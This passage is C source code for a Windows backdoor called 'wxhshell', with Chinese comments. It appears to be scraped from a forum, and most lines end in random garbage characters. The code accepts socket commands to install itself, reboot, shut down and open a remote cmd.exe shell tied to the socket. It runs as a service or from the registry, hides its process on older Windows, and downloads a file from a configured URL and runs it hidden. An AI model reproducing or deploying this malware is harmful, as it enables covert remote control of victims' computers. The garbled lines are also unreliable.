  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |h* rkLY  
  } Z,}c)  
  else { nX|]JW  
B`?}jJa9*  
    switch(cmd[0]) { }`^D O Ar  
  "z9 p(|oZ  
  // 帮助 #[ ?E,  
  case '?': { y';"tDFb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K4K]oT  
    break; W2T6JFv  
  } =--oH'P=M  
  // 安装 x#c%+  
  case 'i': { y`8 bx94jB  
    if(Install()) iTIYq0u|#R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =]m,7v Rq  
    else EUjA-L(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R8C#D B  
    break; ()o[(Hx+ph  
    } z6x`O-\  
  // 卸载 M~,N~ N1  
  case 'r': { gUHx(Fi[4  
    if(Uninstall()) fF]w[lLDv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cT(=pMt8>  
    else C q)Cwc[H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UWo*%&J  
    break; _(:<l Y aY  
    } s|\\"3  
  // 显示 wxhshell 所在路径 B&>z&!}  
  case 'p': { !yo@i_1D  
    char svExeFile[MAX_PATH]; $L"h|>b\o  
    strcpy(svExeFile,"\n\r"); ><i: P*ht  
      strcat(svExeFile,ExeFile); l?)!^}Qc  
        send(wsh,svExeFile,strlen(svExeFile),0); V[2}  
    break; OWT|F0.1$k  
    } o1Nfn'!3/>  
  // 重启 LDh,!5G-M  
  case 'b': { }*?,&9/_)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fxv5kho  
    if(Boot(REBOOT)) W[<ZI>mf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 nnoXc'  
    else { s`gfz}/  
    closesocket(wsh); <rxtdI"3  
    ExitThread(0); 2;ju/9 x  
    } i|[**P  
    break; ],s{%a5wC  
    } 3@42u G>  
  // 关机 r1 [c+Hy  
  case 'd': { J#xZ.6)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y;<F|zIm  
    if(Boot(SHUTDOWN)) K$I`&M(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XNJ3.w:R  
    else { WS//0  
    closesocket(wsh); 6uIgyO*;k  
    ExitThread(0); +E-CsNAZ*"  
    } $:RR1.Tv  
    break; {"c`k4R  
    } 6/6{69tnr  
  // 获取shell otbr8&?-  
  case 's': { eY[kUMo  
    CmdShell(wsh); j]C}S*`"  
    closesocket(wsh); 'P)c'uqd#  
    ExitThread(0); X& mD/1  
    break; \03ZE^H  
  } HZqk)sN  
  // 退出 gY!?JZC-0  
  case 'x': { {5]c \_.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 72ZoN<c  
    CloseIt(wsh); h"7~`!"~  
    break; 2N{^V?:  
    } 4W#DLip9  
  // 离开 +{0v@6<(02  
  case 'q': { >&ENrvaJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .$fSWlM;  
    closesocket(wsh); %,(X R`  
    WSACleanup(); @FZbp  
    exit(1); ^.9Df A0  
    break; ohjl*dw  
        } 2Z>8ROv^X  
  } Eq|5PE^7  
  } }N&? 8s=  
?|~KF:,#}  
  // 提示信息 V*DDU]0k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nyetK  
} 0 9qfnQG  
  } Y"L|D,ex  
QBh*x/J  
  return; @C%6Wo4l3  
} jZD)c_'U  
/DjsnU~3  
// shell模块句柄  aWPf3Q  
int CmdShell(SOCKET sock) b gxk:$E  
{ `<{LW>Lb  
STARTUPINFO si; "  sC]z}  
ZeroMemory(&si,sizeof(si)); />N#PF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vVP.9(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yi:}UlO  
PROCESS_INFORMATION ProcessInfo; 8L+A&^qx  
char cmdline[]="cmd"; 33 ; '6/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QQHQ3 \  
  return 0; NcBz("  
} 4/%Y@Z5  
zf&:@P{  
// 自身启动模式 $6(a6!  
int StartFromService(void) E]v?:!!ds  
{ mx#%oJnsi  
typedef struct H32o7]lT  
{ 9c%CCZ  
  DWORD ExitStatus; \t 5_V)P  
  DWORD PebBaseAddress; !9.FI{W  
  DWORD AffinityMask; Ii&p v  
  DWORD BasePriority; {,u})U2  
  ULONG UniqueProcessId; M4D @G  
  ULONG InheritedFromUniqueProcessId; OE}FZCX F  
}   PROCESS_BASIC_INFORMATION; xZ6x`BET-  
uq ;yR[w"  
PROCNTQSIP NtQueryInformationProcess; RL$%Vy0  
@v#,SF{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g/_0WW]}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )E}@h%d  
k>\v]&|T`  
  HANDLE             hProcess; qZ4)) X  
  PROCESS_BASIC_INFORMATION pbi; ?T.=y m  
&_u.q/~   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a#k7 aOT0  
  if(NULL == hInst ) return 0; c& I  
e`:^7$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N:+)6a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \|6VGh \Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {o 2 qY|S  
H>W8F2VT  
  if (!NtQueryInformationProcess) return 0; fERO(o  
Xhq6l3M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DVVyWn[  
  if(!hProcess) return 0; ;b:'i& r  
5\= y9Z- x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N .H<'Q8&  
/&<V5?1|  
  CloseHandle(hProcess); !/!ga)Y  
_6V1oe2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wa7wV 9  
if(hProcess==NULL) return 0; ]<C]`W2{  
c#>(8#'.U  
HMODULE hMod; vS)>g4  
char procName[255]; 1;H"4u_IG&  
unsigned long cbNeeded; -jy0Kl/p  
T=)qD2?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !\[JWN@v  
d,?Tq  
  CloseHandle(hProcess); d#]hqy  
:vX%0|  
if(strstr(procName,"services")) return 1; // 以服务启动 Fi67"*gE  
7F6 B  
  return 0; // 注册表启动 /`7+Gy<  
} |35OA/O?X  
'A^q)hpax  
// 主模块 [61*/=gWe  
int StartWxhshell(LPSTR lpCmdLine) K, I  
{ k@un}}0r  
  SOCKET wsl; w#[cGaIB  
BOOL val=TRUE; A=5Ebu!z  
  int port=0; R^$|D)(  
  struct sockaddr_in door; ;Xy=;Z.]i  
2,F9P+  
  if(wscfg.ws_autoins) Install(); 8*@{}O##  
huS*1xl  
port=atoi(lpCmdLine); \ ZE[7Ae  
pA8As  
if(port<=0) port=wscfg.ws_port; W>i"p~!  
];4!0\M  
  WSADATA data; U: Wet,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2jC`'8  
\0d'y#Gp*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (/N&_r4x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,!b<SQ5M  
  door.sin_family = AF_INET; |5tZ*$nGa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?q9] H5\  
  door.sin_port = htons(port); [#q]B=JB  
-PAEJn5$O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <y] 67:"<v  
closesocket(wsl); QcW8A ,\q  
return 1; 3_Xu3hNH!  
} >>,G3/Zd*  
F{!pii5O9  
  if(listen(wsl,2) == INVALID_SOCKET) { No} U[u.O  
closesocket(wsl); ,d,2Q  
return 1; Xs2 jR14`  
} w|-3X  
  Wxhshell(wsl); ]5c(:T F  
  WSACleanup(); "mf$E|  
jt on\9  
return 0; ;//9,x9;t  
U:C:ugm  
} *k}m?;esb  
xNf}f 9 l  
// 以NT服务方式启动 MCmb/.&wu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xdm\[s  
{ {]<c6*gQ  
DWORD   status = 0; \ agZ D+  
  DWORD   specificError = 0xfffffff; T5."3i  
1.F&gP)9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LK~aLa5wG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8ROKfPj;z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p8_^6wfg  
  serviceStatus.dwWin32ExitCode     = 0; ]*\MIz{56'  
  serviceStatus.dwServiceSpecificExitCode = 0; hj9TiH/+  
  serviceStatus.dwCheckPoint       = 0; &Y=0 0  
  serviceStatus.dwWaitHint       = 0; 14B',]`  
%7)TiT4V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3X`9&0:j%  
  if (hServiceStatusHandle==0) return; v}6iI}r  
>ep<W<b  
status = GetLastError(); 31a,i2Q4  
  if (status!=NO_ERROR) \X:e9~  
{ oT):#,s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M}x%'=Pox  
    serviceStatus.dwCheckPoint       = 0; dA~:L`A|X  
    serviceStatus.dwWaitHint       = 0; iVI&  
    serviceStatus.dwWin32ExitCode     = status; %S^hqC  
    serviceStatus.dwServiceSpecificExitCode = specificError; {fzX2qMZ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bGH#s {'5  
    return; j)mU`b_  
  } A~bSB n: '  
_|#abLh%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |(3 y09  
  serviceStatus.dwCheckPoint       = 0; :rVR{,pL  
  serviceStatus.dwWaitHint       = 0; 0%rDDB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q+T#J9Y  
} q()o|V  
T,pr&1]Lw  
// 处理NT服务事件,比如:启动、停止 xo_STLAw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rMDvnF  
{ 'K?h6?#  
switch(fdwControl) S)WxTE9  
{ RW. qw4  
case SERVICE_CONTROL_STOP: 9efDM  
  serviceStatus.dwWin32ExitCode = 0; 5-|!mSd   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DQQ]grU  
  serviceStatus.dwCheckPoint   = 0; 6DHK&<=D8  
  serviceStatus.dwWaitHint     = 0; +?{"Q#.>;  
  { mrP48#Y+l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )A7^LLzG  
  } 0!\C@wnH  
  return; l/'GbuECm  
case SERVICE_CONTROL_PAUSE: f=F:Af!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \%a0Lp{ I  
  break; 89FAh6uE  
case SERVICE_CONTROL_CONTINUE: Xxg|01  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V/ G1C^'/  
  break; 73cb1 kfPd  
case SERVICE_CONTROL_INTERROGATE: [`\VgKeu  
  break; AOR?2u  
}; i< ^X z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y\]ZIvTSb  
} )}@D\(/@  
avRtYL  
// 标准应用程序主函数 cAW}a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vke<; k-  
{ *(OG+OkC  
ttsR`R1.k  
// 获取操作系统版本 .dlsiBh  
OsIsNt=GetOsVer(); q`c!!Lg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z6Fu~D2U y  
OX7=g$S 1  
  // 从命令行安装 hu}$\  
  if(strpbrk(lpCmdLine,"iI")) Install(); e"S?qpJK  
lKf58 mB  
  // 下载执行文件 I`V<Sh^Qd  
if(wscfg.ws_downexe) {  cca g8LC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %;'~TtW5  
  WinExec(wscfg.ws_filenam,SW_HIDE); j&d5tgLB  
} ,_e [P  
1Toiqb/  
if(!OsIsNt) { P8z%*/ 3NF  
// 如果时win9x,隐藏进程并且设置为注册表启动 MbRTOH  
HideProc(); oe*1jR_J`[  
StartWxhshell(lpCmdLine); u9hd%}9Qd?  
} Ou_H&R  
else q5(t2nNb  
  if(StartFromService()) M&V'*.xz  
  // 以服务方式启动 c;VqEpsbl  
  StartServiceCtrlDispatcher(DispatchTable); 'Lrn<  
else 6m:$mhA5  
  // 普通方式启动 GmH DG-  
  StartWxhshell(lpCmdLine); =0ZRG p  
!?P8[K  
return 0; xuK"pS  
}
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只看该作者 1 发表于: 2006-10-10
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